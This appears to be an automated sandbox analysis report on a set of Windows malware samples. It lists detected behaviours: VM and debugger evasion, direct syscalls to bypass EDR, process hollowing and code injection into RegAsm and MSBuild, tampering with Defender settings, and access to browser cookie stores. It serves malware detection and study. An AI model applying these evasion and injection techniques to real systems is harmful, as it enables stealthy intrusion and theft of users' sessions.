Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: VMWare
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2219009628.0000000006987000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}irth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR, creator_unique_id VARCHAR, device_model VARCHAR, created_date INTEGER NOT NULL DEFAULT 0, creation_source INTEGER, digital_id_category INTEGER NOT NULL DEFAULT 0)?+
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.00000000019D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_0039400F rdtsc

5_2_0039400F

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe

Code function: 6_2_00668CD3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00668CD3

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_00159C90 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00159C90

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_002186C0 mov eax, dword ptr fs:[00000030h]	5_2_002186C0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00226280 mov eax, dword ptr fs:[00000030h]	5_2_00226280
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00223070 mov ecx, dword ptr fs:[00000030h]	5_2_00223070
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_0066C11D mov ecx, dword ptr fs:[00000030h]	6_2_0066C11D
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_006753CE mov eax, dword ptr fs:[00000030h]	6_2_006753CE

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe

Code function: 6_2_006779CD GetProcessHeap,

6_2_006779CD

Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00668CD3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00668CD3
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00664D66 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00664D66
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00664EC2 SetUnhandledExceptionFilter,	6_2_00664EC2
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00664FF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00664FF9

Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: HXqqC3YwnKDsi7zeJNheTOoZ.exe PID: 1608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe

Code function: 6_2_00D2018D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

6_2_00D2018D

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtSetInformationThread: Indirect: 0x140D7648E	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQueryInformationProcess: Indirect: 0x140D78E23	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x140F911D1
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x141606519
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1418D64A4
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1418E34DF
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtSetInformationThread: Indirect: 0x14074DB09	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x14191B6FC
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1418DE2A2
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQueryInformationProcess: Indirect: 0x140738D22	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQueryInformationProcess: Indirect: 0x140738E85	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQuerySystemInformation: Indirect: 0x1406DD1B6	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtUnmapViewOfSection: Direct from: 0x141915E9B
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtMapViewOfSection: Direct from: 0x141900641
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x140FADB11
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQuerySystemInformation: Indirect: 0x140D18831	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	NtQueryInformationProcess: Indirect: 0x140D78CD6	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x14190078A
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x140F81FBB
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Indirect: 0x140F737CE
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtOpenFile: Direct from: 0x140F9015F
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1418AC1C4
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1415F89C3
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	NtProtectVirtualMemory: Direct from: 0x1418BCD9F

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Memory written: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section unmapped: C:\Users\user\AppData\Local\Temp\katC73D.tmp base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EB0008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 401000
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 422000
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 42E000
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Memory written: C:\Users\user\AppData\Local\Temp\katC73D.tmp base: 641000
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1081008

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Process created: C:\Users\user\AppData\Local\Temp\katC73D.tmp C:\Users\user\AppData\Local\Temp\katC73D.tmp
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_00344699 cpuid

5_2_00344699

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: EnumSystemLocalesW,	6_2_006770F4
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: EnumSystemLocalesW,	6_2_006770A9
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: EnumSystemLocalesW,	6_2_0067718F
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_0067721A
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetLocaleInfoW,	6_2_0066F305
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetLocaleInfoW,	6_2_0067746D
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: EnumSystemLocalesW,	6_2_0066EDDF
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00677596
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_00676E07
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetLocaleInfoW,	6_2_0067769C
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_0067776B

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
